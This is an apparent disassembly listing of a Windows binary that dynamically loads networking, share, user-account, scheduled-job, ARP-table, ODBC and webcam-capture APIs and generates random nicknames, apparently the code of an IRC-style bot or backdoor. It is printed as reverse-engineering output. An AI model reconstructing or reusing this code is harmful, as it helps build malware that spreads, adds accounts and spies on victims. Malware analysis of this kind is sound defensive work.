		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	near ptr 26A08EAh
		nop
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 26A08EAh
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	near ptr 26A08EAh
		nop
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA28
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBE8


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 24E89057h, 50022A5Bh, 10BA7E8h, 247C8B00h, 2404C710h
		dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26B084Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26B084Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		movsx	eax, byte_431948
